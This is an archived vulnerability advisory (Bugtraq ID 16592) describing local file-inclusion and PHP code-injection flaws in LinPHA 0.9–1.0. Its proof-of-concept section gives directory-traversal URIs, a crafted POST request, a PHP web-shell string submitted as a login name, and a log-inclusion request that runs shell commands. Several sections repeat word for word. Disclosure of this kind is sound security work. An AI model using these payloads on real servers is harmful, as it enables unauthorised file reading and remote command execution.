LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
BID:16592
Info
LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
| Bugtraq ID: | 16592 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 11 2006 12:00AM |
| Updated: | Feb 13 2006 05:18PM |
| Credit: | Discovery is credited to rgod. |
| Vulnerable: |
LinPHA LinPHA 0.9.4 LinPHA LinPHA 0.9.3 LinPHA LinPHA 0.9.2 LinPHA LinPHA 0.9.1 LinPHA LinPHA 0.9 .0 LinPHA LinPHA 1.0 |
| Not Vulnerable: | |
Discussion
LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.
LinPHA is prone to multiple local file-inclusion and PHP code-injection vulnerabilities. The local file-inclusion issues are due to insecure use of the 'include_once()' PHP function in multiple scripts. The PHP code-injection vulnerabilities are due to insufficient input validation of data that is saved to log files.
This will permit an attacker to influence the include path to point to files that are hosted on the computer that is running the affected application. In this manner, files that are readable by the webserver process may be output to the attacker.
Attackers may also inject arbitrary PHP code into the log files and cause it to be interpreted. This would occur in the context of the server hosting the application.
Exploit / POC
LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
The following URI examples were provided for the file inclusion issues:
http://www.example.com/[host]/docs/index.php?lang=/../../../../../../../../../../test
http://www.example.com/[path]/install/install.php?language=/../../../../../../../test
http://www.example.com/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../testhttp://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test
The following HTTP POST example was provided for the file inclusion issues:
POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close
language=/../../../../../../../../test
The file inclusion issues may allow for other system files to be retrieved if the 'magic_quotes_gpc' PHP directive is set to off.
The following steps were provided to exploit the PHP code injection issues:
1. Login with username: <?php system($_GET[cmd]);?>
and password: [whatever]
If the 'magic_quotes_gpc' is set to off, it is possible to launch operating system commands through the following request:
http://www.example.com/[path]/docs/index.php?cmd=ls%20-la&lang=/../../sql/tmp/linpha.log%00
The following URI examples were provided for the file inclusion issues:
http://www.example.com/[host]/docs/index.php?lang=/../../../../../../../../../../test
http://www.example.com/[path]/install/install.php?language=/../../../../../../../test
http://www.example.com/[path]/install/sec_stage_install.php?whatlang=1&language=/../../../../../../../testhttp://[target]/[path]/install/sec_stage_install.php?language=/../../../../../../../test
The following HTTP POST example was provided for the file inclusion issues:
POST [path]install/forth_stage_install.php HTTP/1.1\r\n";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close
language=/../../../../../../../../test
The file inclusion issues may allow for other system files to be retrieved if the 'magic_quotes_gpc' PHP directive is set to off.
The following steps were provided to exploit the PHP code injection issues:
1. Login with username: <?php system($_GET[cmd]);?>
and password: [whatever]
If the 'magic_quotes_gpc' is set to off, it is possible to launch operating system commands through the following request:
http://www.example.com/[path]/docs/index.php?cmd=ls%20-la&lang=/../../sql/tmp/linpha.log%00
Solution / Fix
LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
LinPHA Multiple Local File Inclusion and PHP Code Injection Vulnerabilities
References:
References: